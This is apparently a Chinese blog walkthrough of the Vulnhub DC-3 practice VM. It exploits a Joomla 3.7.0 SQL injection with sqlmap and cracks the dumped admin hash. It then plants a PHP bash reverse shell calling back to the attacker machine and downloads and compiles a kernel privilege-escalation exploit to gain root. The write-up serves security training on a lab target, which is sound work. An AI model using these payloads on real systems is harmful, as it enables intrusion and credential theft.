Vulnhub-DC-3靶场练习

Vulnhub-DC-3

daoyuan

零、环境配置

1、虚拟机:vmware 15.5.6

2、攻击环境:kali linux 2020.3 192.168.143.128

3、靶机:DC-3

靶机直接从虚拟机wmware中打开,注意将网络适配器改为nat模式。

可能会遇到如下报错:

IDE设备(磁盘/CD-ROM)配置不正确。"ide0:1"上具有一个IDE从设备,
但没有主设备。此配置在虚拟机中无法正常运行。
请使用配置编辑器将磁盘/CD-ROM 从"ide0:1"移到"ide0:0”。

解决办法:
Vulnhub-DC-3靶场练习_第1张图片

一、信息收集

1.主机发现

//arp-scan -l
192.168.143.136

Vulnhub-DC-3靶场练习_第2张图片

2.端口扫描

// nmap -A -p- 192.168.143.135

80端口 http-generator: Joomla!

Vulnhub-DC-3靶场练习_第3张图片

3.脚本扫描

// nmap --script=vuln 192.168.143.135

扫描得出CMS版本3.7.0
存在数据库注入漏洞以及漏洞编号

Vulnhub-DC-3靶场练习_第4张图片

4.cms扫描

发现cms为joomla,对应扫描器为joomscan.kali linux 2020.3已收集

//joomscan -u 192.168.143.136

 扫描出登入界面                                                
[+] admin finder                                                              
[++] Admin page : http://192.168.143.136/administrator/

Vulnhub-DC-3靶场练习_第5张图片

二、漏洞探测

// searchsploit joomla 3.7.0
搜索到joomla 3.7.0的数据库注入漏洞,编号42033

//sudo cp /usr/share/exploitdb/exploits/php/webapps/42033.txt /root  
把漏洞文件复制到root下

Vulnhub-DC-3靶场练习_第6张图片

// ls -al
// cat 42033.txt 
找到注入方法

Vulnhub-DC-3靶场练习_第7张图片

三、漏洞利用

1.数据库注入攻击

sqlmap -u "http://192.168.143.136/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

//探测数据库名
joomladb

Vulnhub-DC-3靶场练习_第8张图片

sqlmap -u "http://192.168.143.136/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] -D joomladb --tables

//探测表名
#_users

Vulnhub-DC-3靶场练习_第9张图片

sqlmap -u "http://192.168.143.136/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] -D "joomladb" -T "#__users" --columns

//探测表的列名
username
password

Vulnhub-DC-3靶场练习_第10张图片

sqlmap -u "http://192.168.143.136/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] -D "joomladb" -T "#__users" -C "username,password" --dump

//探测列的内容
得出用户名admin
密码散列值:$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu

Vulnhub-DC-3靶场练习_第11张图片

2.密码哈希值解密john

// vim 1.txt
创建一个用于放散列密码的文档1.txt

// john --wordlist=rockyou.txt 1.txt
john解密

// sudo john 1.txt --show
得出密文:snoopy

Vulnhub-DC-3靶场练习_第12张图片

账号密码登入之前扫描的login网址,发现有上传php代码的位置

Vulnhub-DC-3靶场练习_第13张图片

8.上传shell

本地监听8080端口
// nc -lvvp 8080

Vulnhub-DC-3靶场练习_第14张图片

【思路】

   用system()执行bash -c

​        用bash发起一个shell

​          kali监听

​            访问index.php执行脚本

​                 反弹shell成功 --> 提权到root     

<?php
system("bash -c 'bash -i >& /dev/tcp/192.168.143.129/8080 0>&1' ");
?> 

Vulnhub-DC-3靶场练习_第15张图片](https://img-blog.csdnimg.cn/20210120195857689.png)

登入http://192.168.143.136/templates/beez3/index.php
可以看到反弹shell成功

// python -c "import pty;pty.spawn('/bin/bash')"
获取交互式shell

Vulnhub-DC-3靶场练习_第16张图片

3.Ubuntu提权

//uname -a
//lsb_release -a

查看系统信息,发现Ubuntu版本16.04

Vulnhub-DC-3靶场练习_第17张图片

转到kali查找漏洞

//searchsploit Ubuntu 16.04
// searchsploit 39772.txt -p
//cp /usr/share/exploitdb/exploits/linux/local/39772.txt 39772.txt
//cat 39772.txt 

发现方法
Exploit-DB Mirror: https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip

Vulnhub-DC-3靶场练习_第18张图片
Vulnhub-DC-3靶场练习_第19张图片Vulnhub-DC-3靶场练习_第20张图片

转到shell

//wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip

//多试几遍 不太稳定

Vulnhub-DC-3靶场练习_第21张图片

解压39772.zip

//ls

39772.zip      favicon.ico  javascript           template_preview.png
component.php  html         jsstrings.php        template_thumbnail.png

//unzip 39772.zip


//ls

ls
39772          css          images         language
39772.zip      error.php    index.php      templateDetails.xml

Vulnhub-DC-3靶场练习_第22张图片

解压exploit.tar
// cd 39772
//ls

crasher.tar  exploit.tar

//tar -xvf exploit.tar
//ls

crasher.tar  ebpf_mapfd_doubleput_exploit  exploit.tar

//cd ebpf_mapfd_doubleput_exploit                  
//ls

compile.sh  doubleput.c  hello.c  suidhelper.c

Vulnhub-DC-3靶场练习_第23张图片

执行编译文件
// ./compile.sh
// ./doubleput
//  id                         
uid=0(root) gid=0(root) groups=0(root),33(www-data)
//whoami                    
// cd /root                
//ls
the-flag.txt

// cat the-flag.txt
cat the-flag.txt
 __        __   _ _   ____                   _ _ _ _ 
 \ \      / /__| | | |  _ \  ___  _ __   ___| | | | |
  \ \ /\ / / _ \ | | | | | |/ _ \| '_ \ / _ \ | | | |
   \ V  V /  __/ | | | |_| | (_) | | | |  __/_|_|_|_|
    \_/\_/ \___|_|_| |____/ \___/|_| |_|\___(_|_|_|_)
                                                     

Vulnhub-DC-3靶场练习_第24张图片
Vulnhub-DC-3靶场练习_第25张图片
如有错误,烦请不吝赐教。
转载请注明出处!
https://blog.csdn.net/qq_44877412
qq:508173407

你可能感兴趣的:(DC靶机)